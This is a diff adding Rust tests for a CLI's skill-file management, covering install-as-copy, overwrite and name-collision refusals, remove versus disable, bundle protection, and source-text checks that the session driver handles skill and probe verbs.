--------------------------------------------------------------------------- + +/// **F1.** Installing copies the operator's file in, and the row reads `yours`. +/// +/// The provenance half is the load-bearing one. `skills::wrote` answers *are these +/// the bytes io-cli last wrote?*, so an install that recorded itself in the +/// manifest would make the listing credit this crate with somebody else's work — +/// the same misattribution `home::origin` exists to prevent one level up. +#[test] +fn f1_an_installed_skill_is_copied_in_and_belongs_to_the_operator() { + let (dir, home) = home(); + let source = dir.path().join("elsewhere").join("mine.md"); + write(&source, &skill("mine", "something of my own")); + let before = read(&source); + + let at = skillview::install(&home, &source).expect("a fresh name is installed"); + + assert_eq!( + at, + skills::dir(&home).join("mine.md"), + "into the skills dir" + ); + assert_eq!(read(&at), before, "byte for byte"); + assert_eq!( + read(&source), + before, + "**a copy and never a move**: the operator still owns the file they named, \ + and a lever that emptied it would be `/skills` deleting something outside \ + the home to put something inside it", + ); + + let view = skillview::view(&home, &skills::dir(&home), &[]); + assert_eq!( + listed(&view, "mine").origin, + Origin::Yours, + "the manifest records nothing for it, which is exactly what makes it theirs", + ); +} + +/// **F1, the shared parse.** Both spellings reach one `Request`. +/// +/// The named sabotage is giving the argv form its own copy of the install. This +/// asserts the level above that: `/skills add …` and `skill add …` are the same +/// parse, so there is only one thing for a second copy to diverge from. +#[test] +fn f1_both_doors_reach_one_parse() { + let slash = io_cli::manage::parse(&io_cli::manage::tokens("/skills add /x/y.md")) + .expect("the slash form parses"); + let argv = io_cli::manage::parse(&[ + "skill".to_string(), + "add".to_string(), + "/x/y.md".to_string(), + ]) + .expect("the argv form parses"); + + assert_eq!( + slash, argv, + "one parse, so the two doors cannot drift into one being the real one", + ); + assert_eq!( + slash, + io_cli::manage::Request::Skill(io_cli::manage::SkillVerb::Add { + source: PathBuf::from("/x/y.md"), + }), + ); +} + +/// **F2.** Removing unlinks; disabling renames. After a remove the file is in +/// neither directory; after a disable it is in exactly one of them. +#[test] +fn f2_removing_is_not_disabling() { + let (_dir, home) = home(); + let skills_dir = skills::dir(&home); + let one = skills_dir.join("gone.md"); + let two = skills_dir.join("parked.md"); + write(&one, &skill("gone", "to be removed")); + write(&two, &skill("parked", "to be disabled")); + + let parked = skillview::disable(&two, &[]).expect("disable renames"); + assert!( + !two.exists(), + "disable moved it out of the skills directory" + ); + assert!(parked.exists(), "and it is in `disabled/`, still on disk"); + + skillview::remove(&one, &[]).expect("remove unlinks"); + assert!(!one.exists(), "gone from the skills directory"); + assert!( + !skills_dir.join(skills::DISABLED).join("gone.md").exists(), + "**and gone from `disabled/` too** — a removal implemented as a second \ + rename would promise deletion and deliver a hidden copy, and the two \ + verbs would be one act under two names", + ); +} + +/// **F2, the destination guard.** Installing over a file that is already there is +/// refused rather than overwriting it: a skill is prose somebody wrote and this +/// verb has no undo. +#[test] +fn f1_installing_over_an_existing_file_is_refused() { + let (dir, home) = home(); + let source = dir.path().join("elsewhere").join("mine.md"); + write(&source, &skill("mine", "the new one")); + let standing = skills::dir(&home).join("mine.md"); + write(&standing, &skill("mine", "the one already there")); + let before = read(&standing); + + let refusal = skillview::install(&home, &source).expect_err("it is already there"); + assert!(refusal.contains("already there"), "{refusal}"); + assert_eq!(read(&standing), before, "and nothing was written over it"); +} + +/// **F1, the name guard.** A source whose *resolved* name is already claimed is +/// refused even when its filename is free. +/// +/// This is `enable`'s own warning reached from the other side: two files answering +/// to one name make `Skills::discover` return `Err`, io-harness propagates it at +/// run start, and every turn of the session is dead before its first completion — +/// with `/skills` unable to help, because its list comes from the call that just +/// failed. +#[test] +fn f1_installing_a_second_claimant_to_one_name_is_refused() { + let (dir, home) = home(); + write( + &skills::dir(&home).join("theirs.md"), + &skill("io-mcp", "the one already answering"), + ); + let source = dir.path().join("elsewhere").join("mine.md"); + write(&source, &skill("io-mcp", "a second claimant")); + + let refusal = skillview::install(&home, &source).expect_err("the name is taken"); + assert!( + refusal.contains("io-mcp"), + "the refusal names the name rather than the file: {refusal}", + ); + assert!( + !skills::dir(&home).join("mine.md").exists(), + "and nothing was copied in", + ); + assert!( + discovered(&skills::dir(&home)).len() == 1, + "the directory still discovers, which is the whole point of refusing", + ); +} + +/// **F3.** A bundle's skill refuses removal, and the refusal is *inside* the +/// function. +/// +/// The sabotage is moving the guard to the call site. This test calls +/// `skillview::remove` directly — there is no call site between it and the unlink +/// — so a guard that lived anywhere else would let this delete somebody's bundle +/// file and the assertion below would fail. +#[test] +fn f3_a_bundles_skill_is_not_ours_to_remove() { + let (dir, _home) = home(); + let bundle = dir.path().join("bundles").join("pack"); + let theirs = bundle.join("skills").join("packed.md"); + write(&theirs, &skill("packed", "a bundle's own")); + let plug = ("pack".to_string(), bundle.clone()); + + let refusal = skillview::remove(&theirs, std::slice::from_ref(&plug)) + .expect_err("a bundle's file is not io-cli's to delete"); + assert!( + refusal.contains("pack"), + "the refusal names the bundle: {refusal}", + ); + assert!(theirs.exists(), "and the file is still there"); +} + +/// **F1, the half a green suite cannot see.** The *session* acts on a skill verb, +/// not only the headless door. +/// +/// This is the gate for the release's worst defect, found by the adversarial +/// review and by nothing else. `manage::plan` answers `Ok(None)` for every skill +/// verb — a skill is a file, not a configuration edit — and the session's +/// `Action::Manage` match ended in `Ok((_, None)) => {}`. So `/skills add +/// ./x.md`, `/skills list` and `/skills remove x` typed at the prompt parsed +/// correctly, planned correctly, and then did **nothing at all**: no file copied, +/// no output, no refusal. The acts existed only in `manage_main`, which a session +/// never calls. Every one of the 1,600 tests passed, and the README documented the +/// verbs as working. +/// +/// The same hole swallowed `/mcp probe`, which is asserted here beside it because +/// it is the same shape and the same arm. +/// +/// Sabotage: delete either arm from `src/main.rs`. Nothing else in the suite goes +/// red. +#[test] +fn f1_the_session_acts_on_a_skill_verb_and_not_only_the_headless_door() { + let text = std::fs::read_to_string("src/main.rs").expect("the driver"); + let flat = text.split_whitespace().collect::>().join(" "); + + assert!( + flat.contains("Ok((io_cli::manage::Request::Skill(verb), None))"), + "the session has no arm for a skill verb, so `/skills add`, `/skills list` \ + and `/skills remove` parse, plan, and silently do nothing", + ); + // **Counted, never `contains`.** Both verbs have two call sites — the session + // and the headless door — so a `contains` is satisfied by the headless one + // forever and says nothing about the arm this test exists for. The first + // version of this gate made exactly that mistake and its sabotage killed + // nothing; this product's own record calls counting the fix. + assert_eq!( + text.matches("io_cli::skillview::install(").count(), + 2, + "installing a skill has {} call sites, not the two it must have — one on \ + the session's arm and one on the headless door", + text.matches("io_cli::skillview::install(").count(), + ); + assert_eq!( + text.matches("io_cli::skillview::remove(").count(), + 3, + "removing a skill has {} call sites, not the three it must have — the \ + session's typed arm, the headless door, and the `/skills` confirmation", + text.matches("io_cli::skillview::remove(").count(), + ); + assert!( + flat.contains( + "Ok(( io_cli::manage::Request::Mcp(io_cli::manage::McpVerb::Probe { id }), None, ))" + ), + "the session has no arm for `/mcp probe`, so it parses and does nothing", + ); + assert_eq!( + text.matches("io_cli::servers::probe(").count(), + 2, + "a probe has exactly two call sites — the session and the headless door — \ + so neither can be the only one", + ); +} + +/// **F2, the confirmation.** The driver puts `store::LEAVE_IT` at row 0 and +/// decides with `store::acts`, asserted **by index**. +/// +/// Nothing under `tests/` links `src/main.rs`, so this reads it as text — the +/// instrument `tests/context_share.rs` and `tests/contract.rs` already use for +/// exactly this class of claim. +#[test] +fn f2_the_removal_confirmation_declines_at_row_zero() { + let text = std::fs::read_to_string("src/main.rs").expect("the driver"); + let flat = text.split_whitespace().collect::>().join(" "); + + assert!( + flat.contains("Pick::SkillRemove { name, path } => { if io_cli::store::acts(index)"), + "the removal is gated on `store::acts`, which is what makes row 0 decline", + ); + assert!( + flat.contains( + "Picker::new( format!(\"Remove {name}?\"), vec![ \ + Row::new(io_cli::store::LEAVE_IT.to_string())," + ), + "and `LEAVE_IT` is the first row of that picker, by position rather than \ + by label", + ); +}